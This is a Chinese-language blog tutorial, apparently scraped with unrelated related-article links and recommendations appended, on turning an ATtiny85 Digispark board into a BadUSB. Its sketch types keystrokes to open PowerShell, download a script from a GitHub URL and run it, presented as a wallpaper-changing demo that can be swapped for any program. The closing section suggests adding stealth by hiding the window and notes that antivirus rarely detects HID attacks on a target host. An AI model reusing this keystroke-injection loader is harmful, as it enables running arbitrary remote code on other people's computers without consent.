0x00.准备:

  ATiny85的板子

  淘宝十元包邮。有两款,两款都可以,建议选择左边的,这样可以直接插入USB口,第二款也可以,不过需要一根Micro的数据线(旧款安卓手机使用的线)。

  

  电脑安装驱动
  当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!

  https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

  下载的驱动文件,解压并执行相应的版本(64位操作系统执行DPinst64.exe,32位执行DPinst.exe)。

  

  下图是驱动安装完成的截图.

  配置烧录软件
  推荐使用Arduino IDE。到Arduino官方网站进行下载安装
  下载网址:https://www.arduino.cc/en/Main/Software?setlang=cn

  进入程序界面后,点击 文件 --> 首选项。
  将http://digistump.com/package_digistump_index.json 复制到红色线框标记的地方。

  然后在 工具 选择Boards Manager...

  

  等待加载完成后(等待时间可能有点长),选择下图红框标注的版本(这里已安装会显示Remove,如果是未安装的会显示Install。

  下载完成后,即可在工具里看到Digispark (Default - 16.5mhz),编程器选择“USBtinyISP

  插上开发板安装好驱动后,这里设备管理器会不断发现它在刷新,可以不用按照网上其他教程,可以插上板子,将程序编译上传。
  烧录进去程序后,设备管理器就不会闪了。

0x02.烧录代码

  贴一个自己测试的程序,通过下载一个powershell脚本,运行此脚本来改桌面的壁纸。(这里的脚本可以修改为想要的程序)

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.println("POWERSHELL -NOP");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("$client = new-object System.Net.WebClient");
DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')");
DigiKeyboard.delay(3000);
DigiKeyboard.println("e:\\test.ps1");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.println("exit"); } void loop() { }

  将代码复制到编辑框中,保存一下后,点击上传,即可自动编译后上传。

  如果需要对Attiny 85开发板进行重写开发,重新编写代码,或者修改代码。建议先把Attiny 85开发板拔出,先把代码写好,点击上传,等提示:Plug in device now... (will timeout in 60 seconds),再把设备插入即可!

0x03.总结

  此脚本还有很多不完善的地方,这里为了方便自己可以调试,以及可以看到所有过程,所以没有做一些“隐蔽性”工作,后续可以自己完善。(比如,使用cmd窗口来执行powershell命令,以及对cmd窗口进行小窗口来隐藏一下。)
  目前杀毒软件对HID攻击检测不敏感,通过模拟键盘输入,来达到快速将想要执行的代码在目标主机上执行。

  

利用ATiny85制作BadUSB的更多相关文章

  1. Arduino+Avr libc制作Badusb原理及示例讲解

    一. 前言 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有 ...

  2. 利用TabHost制作QQ客户端标签栏效果(低版本QQ)

    学习一定要从基础学起,只有有一个好的基础,我们才会变得更加的perfect 下面小编将利用TabHost制作QQ客户端标签栏效果(这个版本的QQ是在前几年发布的)…. 首先我们看一下效果: 看到这个界 ...

  3. 利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片

    利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片.代码如下 import java.awt.Color;import java.io.File;import java.util.H ...

  4. C#利用API制作类似QQ一样的右下角弹出窗体

    C#利用API制作类似QQ一样的右下角弹出窗体 (2009-03-21 15:02:49) 转载▼ 标签: 杂谈 分类: .NET using System;using System.Collecti ...

  5. 【百度地图API】如何利用PhoneGap制作地图APP

    原文:[百度地图API]如何利用PhoneGap制作地图APP 摘要:百度地图API是一套由javascript编写的地图程序接口,按说它应该运行在浏览器上.现在,只要利用PhoneGap,我们就能开 ...

  6. 利用CSS3制作淡入淡出动画效果

    CSS3新增动画属性“@-webkit-keyframes”,从字面就可以看出其含义——关键帧,这与Flash中的含义一致. 利用CSS3制作动画效果其原理与Flash一样,我们需要定义关键帧处的状态 ...

  7. 【203】利用UltraISO制作和刻录光盘映像的方法

    参考:利用UltraISO制作和刻录光盘映像的方法 软件:UltraISO注册版(制作镜像).rar 目录: 1.利用UltraISO制作光盘映像2.利用UltraISO刻录光盘映像文件 1.利用Ul ...

  8. 利用jquery制作滚动到指定位置触发动画

    <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>利用 ...

  9. WPF利用radiobutton制作菜单按钮

    原文:WPF利用radiobutton制作菜单按钮 版权声明:欢迎转载.转载请注明出处,谢谢 https://blog.csdn.net/wzcool273509239/article/details ...

随机推荐

  1. Interesting卡常数

    C++ Interesting卡常数 作为一名OIer,在Noip中卡(kǎ 我就爱读kǎ)常数可以说是必备技巧.在此总结一下我所知卡常数的神奇手法: IO优化 fread 和 fwrite ,如果还 ...

  2. Spring Cache 笔记

    @(Java ThirdParty)[Spring Cache] Spring Cache Abstraction 简介 Spring Cache提供了对底层缓存使用的抽象,通过注解的方式使用缓存,减 ...

  3. Mysql 查询条件中字符串尾部有空格也能匹配上的问题

    一.表结构 TABLE person id name 1 你 2 你(一个空格) 3 你(二个空格) 二.查询与结果 select * from person where `name` = ? 无论 ...

  4. HTML知识点总结

    HTML知识点总结 一.需要熟悉的基本快捷键 ctrl+c            复制 ctrl+v            粘贴 ctrl+x            剪切 ctrl+tab       ...

  5. 利用Hive分析nginx日志

    这里用到的nginx日志是网站的访问日志,比如日志格式: 180.173.250.74 - - [08/Jan/2015:12:38:08 +0800] "GET /avatar/xxx.p ...

  6. 使用pypi-server搭建简单的PyPI源

    pypiserver 是一个最基本的PyPI服务器实现, 可以用来上传和维护python包. 本文介绍 pypiserver 在ubuntu上的基本安装, 配置和使用. 1. 基本安装和使用 1.1 ...

  7. TCP连接和 time_wait、close_waite

    TCP连接和 time_wait.close_waite tags:time_wait close_waite RST TCP 引言:前两天朋友公司的服务器垮掉了,最后查出的原因是发现大量的time_ ...

  8. CentOS6.7 mysql5.6.33修改数据文件位置

    问题:mysql存放的数据文件,分区容量较小,目前已经满,导致mysql连接不上, 解决方案: 1.删除分区里一个不需要用的数据,如:日志文件等(解决不了根本问题) 2.对某个磁盘扩容 3.修改数据存 ...

  9. centos7搭建postfix邮件服务器

    在使用qq等邮件服务器厂商提供的邮件服务后,发现他们的邮件发送数量是有限制的,随着公司的业务的需求下,我们需要搭建一个邮件服务器,邮件服务器可以帮助我们在一些提醒方面和消息推送方面起到帮助. 理论性语 ...

  10. 安装nginx和php

    安装nginx 1.安装依赖包 yum -y install gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel perl pe ...